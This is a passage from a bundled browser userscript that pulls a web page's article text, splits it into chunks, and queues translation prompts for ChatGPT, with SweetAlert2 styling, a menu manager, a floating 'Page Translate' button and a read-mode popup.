div:where(.swal2-validation-message){align-items:center;justify-content:center;margin:1em 0 0;padding:.625em;overflow:hidden;background:#f0f0f0;color:#666;font-size:1em;font-weight:300}div:where(.swal2-container) div:where(.swal2-validation-message)::before{content:"!";display:inline-block;width:1.5em;min-width:1.5em;height:1.5em;margin:0 .625em;border-radius:50%;background-color:#f27474;color:#fff;font-weight:600;line-height:1.5em;text-align:center}div:where(.swal2-container) .swal2-progress-steps{flex-wrap:wrap;align-items:center;max-width:100%;margin:1.25em auto;padding:0;background:rgba(0,0,0,0);font-weight:600}div:where(.swal2-container) .swal2-progress-steps li{display:inline-block;position:relative}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step{z-index:20;flex-shrink:0;width:2em;height:2em;border-radius:2em;background:#2778c4;color:#fff;line-height:2em;text-align:center}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step{background:#2778c4}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step{background:#add8e6;color:#fff}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step-line{background:#add8e6}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step-line{z-index:10;flex-shrink:0;width:2.5em;height:.4em;margin:0 -1px;background:#2778c4}div:where(.swal2-icon){position:relative;box-sizing:content-box;justify-content:center;width:5em;height:5em;margin:2.5em auto .6em;border:0.25em solid rgba(0,0,0,0);border-radius:50%;border-color:#000;font-family:inherit;line-height:5em;cursor:default;user-select:none}div:where(.swal2-icon) .swal2-icon-content{display:flex;align-items:center;font-size:3.75em}div:where(.swal2-icon).swal2-error{border-color:#f27474;color:#f27474}div:where(.swal2-icon).swal2-error .swal2-x-mark{position:relative;flex-grow:1}div:where(.swal2-icon).swal2-error [class^=swal2-x-mark-line]{display:block;position:absolute;top:2.3125em;width:2.9375em;height:.3125em;border-radius:.125em;background-color:#f27474}div:where(.swal2-icon).swal2-error [class^=swal2-x-mark-line][class$=left]{left:1.0625em;transform:rotate(45deg)}div:where(.swal2-icon).swal2-error [class^=swal2-x-mark-line][class$=right]{right:1em;transform:rotate(-45deg)}div:where(.swal2-icon).swal2-error.swal2-icon-show{animation:swal2-animate-error-icon .5s}div:where(.swal2-icon).swal2-error.swal2-icon-show .swal2-x-mark{animation:swal2-animate-error-x-mark .5s}div:where(.swal2-icon).swal2-warning{border-color:#facea8;color:#f8bb86}div:where(.swal2-icon).swal2-warning.swal2-icon-show{animation:swal2-animate-error-icon .5s}div:where(.swal2-icon).swal2-warning.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .5s}div:where(.swal2-icon).swal2-info{border-color:#9de0f6;color:#3fc3ee}div:where(.swal2-icon).swal2-info.swal2-icon-show{animation:swal2-animate-error-icon .5s}div:where(.swal2-icon).swal2-info.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .8s}div:where(.swal2-icon).swal2-question{border-color:#c9dae1;color:#87adbd}div:where(.swal2-icon).swal2-question.swal2-icon-show{animation:swal2-animate-error-icon .5s}div:where(.swal2-icon).swal2-question.swal2-icon-show .swal2-icon-content{animation:swal2-animate-question-mark .8s}div:where(.swal2-icon).swal2-success{border-color:#a5dc86;color:#a5dc86}div:where(.swal2-icon).swal2-success [class^=swal2-success-circular-line]{position:absolute;width:3.75em;height:7.5em;transform:rotate(45deg);border-radius:50%}div:where(.swal2-icon).swal2-success [class^=swal2-success-circular-line][class$=left]{top:-0.4375em;left:-2.0635em;transform:rotate(-45deg);transform-origin:3.75em 3.75em;border-radius:7.5em 0 0 7.5em}div:where(.swal2-icon).swal2-success [class^=swal2-success-circular-line][class$=right]{top:-0.6875em;left:1.875em;transform:rotate(-45deg);transform-origin:0 3.75em;border-radius:0 7.5em 7.5em 0}div:where(.swal2-icon).swal2-success .swal2-success-ring{position:absolute;z-index:2;top:-0.25em;left:-0.25em;box-sizing:content-box;width:100%;height:100%;border:.25em solid rgba(165,220,134,.3);border-radius:50%}div:where(.swal2-icon).swal2-success .swal2-success-fix{position:absolute;z-index:1;top:.5em;left:1.625em;width:.4375em;height:5.625em;transform:rotate(-45deg)}div:where(.swal2-icon).swal2-success [class^=swal2-success-line]{display:block;position:absolute;z-index:2;height:.3125em;border-radius:.125em;background-color:#a5dc86}div:where(.swal2-icon).swal2-success [class^=swal2-success-line][class$=tip]{top:2.875em;left:.8125em;width:1.5625em;transform:rotate(45deg)}div:where(.swal2-icon).swal2-success [class^=swal2-success-line][class$=long]{top:2.375em;right:.5em;width:2.9375em;transform:rotate(-45deg)}div:where(.swal2-icon).swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-animate-success-line-tip .75s}div:where(.swal2-icon).swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-animate-success-line-long .75s}div:where(.swal2-icon).swal2-success.swal2-icon-show .swal2-success-circular-line-right{animation:swal2-rotate-success-circular-line 4.25s ease-in}[class^=swal2]{-webkit-tap-highlight-color:rgba(0,0,0,0)}.swal2-show{animation:swal2-show .3s}.swal2-hide{animation:swal2-hide .15s forwards}.swal2-noanimation{transition:none}.swal2-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}.swal2-rtl .swal2-close{margin-right:initial;margin-left:0}.swal2-rtl .swal2-timer-progress-bar{right:0;left:auto}@keyframes swal2-toast-show{0%{transform:translateY(-0.625em) rotateZ(2deg)}33%{transform:translateY(0) rotateZ(-2deg)}66%{transform:translateY(0.3125em) rotateZ(2deg)}100%{transform:translateY(0) rotateZ(0deg)}}@keyframes swal2-toast-hide{100%{transform:rotateZ(1deg);opacity:0}}@keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-0.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}100%{top:1.125em;left:.1875em;width:.75em}}@keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}100%{top:.9375em;right:.1875em;width:1.375em}}@keyframes swal2-show{0%{transform:scale(0.7)}45%{transform:scale(1.05)}80%{transform:scale(0.95)}100%{transform:scale(1)}}@keyframes swal2-hide{0%{transform:scale(1);opacity:1}100%{transform:scale(0.5);opacity:0}}@keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-0.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}100%{top:2.8125em;left:.8125em;width:1.5625em}}@keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}100%{top:2.375em;right:.5em;width:2.9375em}}@keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}100%{transform:rotate(-405deg)}}@keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(0.4);opacity:0}50%{margin-top:1.625em;transform:scale(0.4);opacity:0}80%{margin-top:-0.375em;transform:scale(1.15)}100%{margin-top:0;transform:scale(1);opacity:1}}@keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}100%{transform:rotateX(0deg);opacity:1}}@keyframes swal2-rotate-loading{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}@keyframes swal2-animate-question-mark{0%{transform:rotateY(-360deg)}100%{transform:rotateY(0)}}@keyframes swal2-animate-i-mark{0%{transform:rotateZ(45deg);opacity:0}25%{transform:rotateZ(-25deg);opacity:.4}50%{transform:rotateZ(15deg);opacity:.8}75%{transform:rotateZ(-5deg);opacity:1}100%{transform:rotateX(0);opacity:1}}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow:hidden}body.swal2-height-auto{height:auto !important}body.swal2-no-backdrop .swal2-container{background-color:rgba(0,0,0,0) !important;pointer-events:none}body.swal2-no-backdrop .swal2-container .swal2-popup{pointer-events:all}body.swal2-no-backdrop .swal2-container .swal2-modal{box-shadow:0 0 10px rgba(0,0,0,.4)}@media print{body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow-y:scroll !important}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown)>[aria-hidden=true]{display:none}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) .swal2-container{position:static !important}}body.swal2-toast-shown .swal2-container{box-sizing:border-box;width:360px;max-width:100%;background-color:rgba(0,0,0,0);pointer-events:none}body.swal2-toast-shown .swal2-container.swal2-top{inset:0 auto auto 50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-top-end,body.swal2-toast-shown .swal2-container.swal2-top-right{inset:0 0 auto auto}body.swal2-toast-shown .swal2-container.swal2-top-start,body.swal2-toast-shown .swal2-container.swal2-top-left{inset:0 auto auto 0}body.swal2-toast-shown .swal2-container.swal2-center-start,body.swal2-toast-shown .swal2-container.swal2-center-left{inset:50% auto auto 0;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-center{inset:50% auto auto 50%;transform:translate(-50%, -50%)}body.swal2-toast-shown .swal2-container.swal2-center-end,body.swal2-toast-shown .swal2-container.swal2-center-right{inset:50% 0 auto auto;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-start,body.swal2-toast-shown .swal2-container.swal2-bottom-left{inset:auto auto 0 0}body.swal2-toast-shown .swal2-container.swal2-bottom{inset:auto auto 0 50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-end,body.swal2-toast-shown .swal2-container.swal2-bottom-right{inset:auto 0 0 auto}');
  3072. }
  3073. });
  3074.  
  3075. // src/index.ts
  3076. var import_chatgpt = __toESM(require_chatgpt2(), 1);
  3077.  
  3078. // ../../packages/monkit/dist/index.mjs
  3079. var MenuManager = class {
  3080. constructor(default_menu_all) {
  3081. this.default_menu_all = default_menu_all;
  3082. this.menu_all = GM_getValue("menu_all", this.default_menu_all);
  3083. for (const name in this.default_menu_all) {
  3084. if (!(name in this.menu_all)) {
  3085. this.menu_all[name] = this.default_menu_all[name];
  3086. }
  3087. }
  3088. this.menu_id = GM_getValue("menu_id", {});
  3089. this.update_menu();
  3090. }
  3091. registerMenuCommand(name, value) {
  3092. if (name === "chat_language") {
  3093. return GM_registerMenuCommand(`${name}\uFF1A${value}`, () => {
  3094. const language = prompt("Please input the language you want to use", value.toString());
  3095. if (language) {
  3096. this.menu_all[name] = language;
  3097. GM_setValue("menu_all", this.menu_all);
  3098. this.update_menu();
  3099. location.reload();
  3100. }
  3101. });
  3102. }
  3103. const menuText = ` ${name}\uFF1A${value ? "\u2705" : "\u274C"}`;
  3104. const commandCallback = () => {
  3105. this.menu_all[name] = !this.menu_all[name];
  3106. GM_setValue("menu_all", this.menu_all);
  3107. this.update_menu();
  3108. location.reload();
  3109. };
  3110. return GM_registerMenuCommand(menuText, commandCallback);
  3111. }
  3112. update_menu() {
  3113. for (const name in this.menu_all) {
  3114. const value = this.menu_all[name];
  3115. if (this.menu_id[name]) {
  3116. GM_unregisterMenuCommand(this.menu_id[name]);
  3117. }
  3118. this.menu_id[name] = this.registerMenuCommand(name, value);
  3119. }
  3120. GM_setValue("menu_id", this.menu_id);
  3121. }
  3122. getMenuValue(name) {
  3123. return this.menu_all[name];
  3124. }
  3125. };
  3126. function getLocalLanguage() {
  3127. const userLanguage = navigator.language;
  3128. const languageNames = new Intl.DisplayNames([userLanguage], { type: "language" });
  3129. const readableLanguage = languageNames.of(userLanguage);
  3130. return readableLanguage;
  3131. }
  3132.  
  3133. // ../../packages/page-button/dist/index.mjs
  3134. var import_sweetalert2 = __toESM(require_sweetalert2_all(), 1);
  3135. function displayHTML(html) {
  3136. let screenWidth = window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth;
  3137. let swalWidth = screenWidth < 800 ? "100%" : "800px";
  3138. import_sweetalert2.default.fire({
  3139. title: "",
  3140. html: html.join("<br />"),
  3141. width: swalWidth,
  3142. padding: "3em",
  3143. background: "#fff",
  3144. backdrop: "rgba(128,128,128,0.4)",
  3145. showConfirmButton: false,
  3146. showClass: { popup: "", backdrop: "" },
  3147. customClass: { htmlContainer: "text-left scrollable" },
  3148. willClose: () => {
  3149. const scrollable = document.querySelector(".scrollable");
  3150. if (scrollable) {
  3151. localStorage.setItem("scrollPos", `${scrollable.scrollTop}`);
  3152. }
  3153. },
  3154. didOpen: () => {
  3155. const scrollable = document.querySelector(".scrollable");
  3156. if (scrollable) {
  3157. scrollable.scrollTop = parseInt(localStorage.getItem("scrollPos") || "0");
  3158. }
  3159. }
  3160. });
  3161. if (!document.head.querySelector("#readModeStyle")) {
  3162. let style = document.createElement("style");
  3163. style.type = "text/css";
  3164. style.id = "readModeStyle";
  3165. style.innerHTML = `
  3166. .text-left { text-align: left !important; }
  3167. .scrollable { max-height: 80vh; overflow-y: auto; }
  3168. `;
  3169. document.head.appendChild(style);
  3170. }
  3171. }
  3172.  
  3173. // src/index.ts
  3174. var import_sweetalert22 = __toESM(require_sweetalert2_all(), 1);
  3175.  
  3176. // src/createButton/index.ts
  3177. function createButton(callback, buttonText) {
  3178. if (window.location.href.includes("chat.openai")) {
  3179. return;
  3180. }
  3181. const hideRight = document.title.match(/[\u4e00-\u9fa5]/) ? "-130px" : "-120px";
  3182. const button = document.createElement("button");
  3183. button.innerHTML = buttonText;
  3184. button.style.position = "fixed";
  3185. button.style.width = "140px";
  3186. button.style.top = "120px";
  3187. button.style.right = hideRight;
  3188. button.style.zIndex = "999999";
  3189. button.style.backgroundColor = "#4285f4";
  3190. button.style.color = "#fff";
  3191. button.style.opacity = "0.8";
  3192. button.style.border = "none";
  3193. button.style.borderRadius = "4px";
  3194. button.style.padding = "10px 16px";
  3195. button.style.fontSize = "18px";
  3196. button.style.cursor = "pointer";
  3197. button.style.transition = "right 0.3s";
  3198. document.body.appendChild(button);
  3199. button.addEventListener("mouseenter", () => {
  3200. button.style.right = "-10px";
  3201. });
  3202. button.addEventListener("mouseleave", () => {
  3203. button.style.right = hideRight;
  3204. });
  3205. document.addEventListener("fullscreenchange", () => {
  3206. if (document.fullscreenElement) {
  3207. button.style.display = "none";
  3208. } else {
  3209. button.style.display = "block";
  3210. }
  3211. });
  3212. button.addEventListener("click", callback);
  3213. }
  3214. var createButton_default = createButton;
  3215.  
  3216. // src/SimpleArticleSegmentation/index.ts
  3217. var MIN_PARAGRAPH_LENGTH = 3200;
  3218. var MAX_PARAGRAPH_LENGTH = 3600;
  3219. var TOKEN_LETTER_TO_CHARACTER_RATIO = 0.6;
  3220. var SimpleArticleSegmentation = class {
  3221. constructor(text) {
  3222. this.text = text;
  3223. }
  3224. containsAsianCharacters(str) {
  3225. const regex = /[\p{Script=Hiragana}\p{Script=Katakana}\p{Script=Han}\p{Script=Hangul}]/gu;
  3226. return regex.test(str);
  3227. }
  3228. segment() {
  3229. const paragraphs = [];
  3230. if (this.containsAsianCharacters(this.text)) {
  3231. let i = 0;
  3232. const maxParagraphLength = Math.floor(MAX_PARAGRAPH_LENGTH * TOKEN_LETTER_TO_CHARACTER_RATIO);
  3233. while (i < this.text.length) {
  3234. const paragraph = this.text.substring(i, i + maxParagraphLength);
  3235. paragraphs.push(paragraph);
  3236. i += maxParagraphLength;
  3237. }
  3238. } else {
  3239. const sentences = this.text.split(new RegExp("(?<=[.!?])\\s+"));
  3240. let paragraph = "";
  3241. for (const sentence of sentences) {
  3242. if (paragraph.length + sentence.length + 1 <= MAX_PARAGRAPH_LENGTH) {
  3243. paragraph += (paragraph.length > 0 ? " " : "") + sentence;
  3244. } else {
  3245. if (paragraph.length >= MIN_PARAGRAPH_LENGTH) {
  3246. paragraphs.push(paragraph);
  3247. paragraph = sentence;
  3248. } else {
  3249. paragraph += " " + sentence;
  3250. }
  3251. }
  3252. }
  3253. if (paragraph.length >= MIN_PARAGRAPH_LENGTH) {
  3254. paragraphs.push(paragraph);
  3255. }
  3256. }
  3257. return paragraphs;
  3258. }
  3259. };
  3260. var SimpleArticleSegmentation_default = SimpleArticleSegmentation;
  3261.  
  3262. // src/getParagraphs/index.ts
  3263. function getParagraphs() {
  3264. try {
  3265. let docClone = document.cloneNode(true);
  3266. let article = new Readability(docClone).parse();
  3267. if (article && article.textContent) {
  3268. const segmenter = new SimpleArticleSegmentation_default(article.textContent);
  3269. const paragraphs = segmenter.segment();
  3270. for (let i = 0; i < paragraphs.length; i++) {
  3271. paragraphs[i] = paragraphs[i].trim();
  3272. }
  3273. return paragraphs;
  3274. } else {
  3275. console.warn("Readability.js could not extract any text content from this page.");
  3276. return [];
  3277. }
  3278. } catch (error) {
  3279. console.error("An error occurred while using Readability.js:", error);
  3280. return [];
  3281. }
  3282. }
  3283. var getParagraphs_default = getParagraphs;
  3284.  
  3285. // src/index.ts
  3286. function initialize() {
  3287. return __async(this, null, function* () {
  3288. yield new Promise((r) => window.addEventListener("load", r));
  3289. yield new Promise((r) => setTimeout(r, 1e3));
  3290. });
  3291. }
  3292. (() => __async(void 0, null, function* () {
  3293. yield initialize();
  3294. const menu = new MenuManager({ "chat_language": getLocalLanguage() || "Chinese" });
  3295. const lang = menu.getMenuValue("chat_language");
  3296. const setPrompts = (paras) => GM_setValue("prompt_texts", paras.map((p, i) => `Answer me in several paragraphs in ${lang} language,
  3297. Translate below paragraphs:
  3298.  
  3299. """${p}${i + 1}/${paras.length}"""
  3300.  
  3301. ps: answer in several paragraphs in ${lang} language`));
  3302. GM_registerMenuCommand("\u{1F4DD} Input", () => {
  3303. import_sweetalert22.default.fire({ title: "Please input the text you want to deal with", input: "text", inputPlaceholder: "Enter your text here" }).then((result) => {
  3304. if (result.value)
  3305. setPrompts(new SimpleArticleSegmentation_default(result.value).segment());
  3306. });
  3307. });
  3308. (0, import_chatgpt.setPromptListener)("prompt_texts");
  3309. createButton_default(() => __async(void 0, null, function* () {
  3310. return setPrompts(getParagraphs_default());
  3311. }), navigator.language.startsWith("zh") ? "\u9875\u9762\u7FFB\u8BD1" : "Page Translate");
  3312. function displayReadMode() {
  3313. let html = (0, import_chatgpt.getResponseElementHTMLs)();
  3314. if (html.length === 0) {
  3315. html = ["<p>No responses available.</p>"];
  3316. }
  3317. displayHTML(html);
  3318. }
  3319. GM_registerMenuCommand("\u{1F4D6} Read Mode", displayReadMode);
  3320. }))();
  3321. })();
  3322. /*! Bundled license information:
  3323.  
  3324. sweetalert2/dist/sweetalert2.all.js:
  3325. (*!
  3326. * sweetalert2 v11.7.18
  3327. * Released under the MIT License.
  3328. *)
  3329. */